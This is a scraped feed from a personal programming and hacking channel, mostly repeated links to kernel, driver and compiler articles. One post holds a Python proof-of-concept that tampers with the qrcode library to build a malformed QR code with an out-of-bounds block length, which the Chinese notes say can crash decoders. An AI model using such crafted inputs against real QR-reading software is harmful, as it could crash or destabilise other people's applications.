Personal channel of @lancern
Topics: programming, hacking, memes, life, and more. Forward anything as you wish.
Join the discussion group for more fun.
Discord: https://discord.gg/RwUx9et7
Topics: programming, hacking, memes, life, and more. Forward anything as you wish.
Join the discussion group for more fun.
Discord: https://discord.gg/RwUx9et7
Haiku's (Kernel) Condition Variables API: Design & Implementation
Comments
via waddlesplash@users.lobste.rs (waddlesplash)
Comments
via waddlesplash@users.lobste.rs (waddlesplash)
Intel I219-LM Running at ~60% of Maximum Speed Due to Linux Driver Bug https://www.phoronix.com/news/Intel-i219-LM-Linux-60p-Fix
The shrinking role of semaphores [LWN.net]
Article also covers history of semaphores in linux kernel, which I found interesting :)Comments
via vi_mi@users.lobste.rs (vi_mi)
Article also covers history of semaphores in linux kernel, which I found interesting :)Comments
via vi_mi@users.lobste.rs (vi_mi)
import qrcode
from qrcode.util import *
def hack_put(self, num, length):
if num == 0:
num = 233 # make a fake length
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = hack_put
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)
qr.make_image()
理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
Don't Look UB: Exposing Sanitizer-Eliding Compiler Optimizations
https://goto.ucsd.edu/~gleissen/papers/dontlookub.pdf
https://goto.ucsd.edu/~gleissen/papers/dontlookub.pdf
Sonar ❤️ Compiler Explorer: Write clean C++ code inside your browser
https://www.sonarsource.com/blog/sonar-compiler-explorer-write-clean-c-code-inside-your-browser/
Compiler Explorer 内可以使用 Sonar 静态分析器了
https://www.sonarsource.com/blog/sonar-compiler-explorer-write-clean-c-code-inside-your-browser/
Compiler Explorer 内可以使用 Sonar 静态分析器了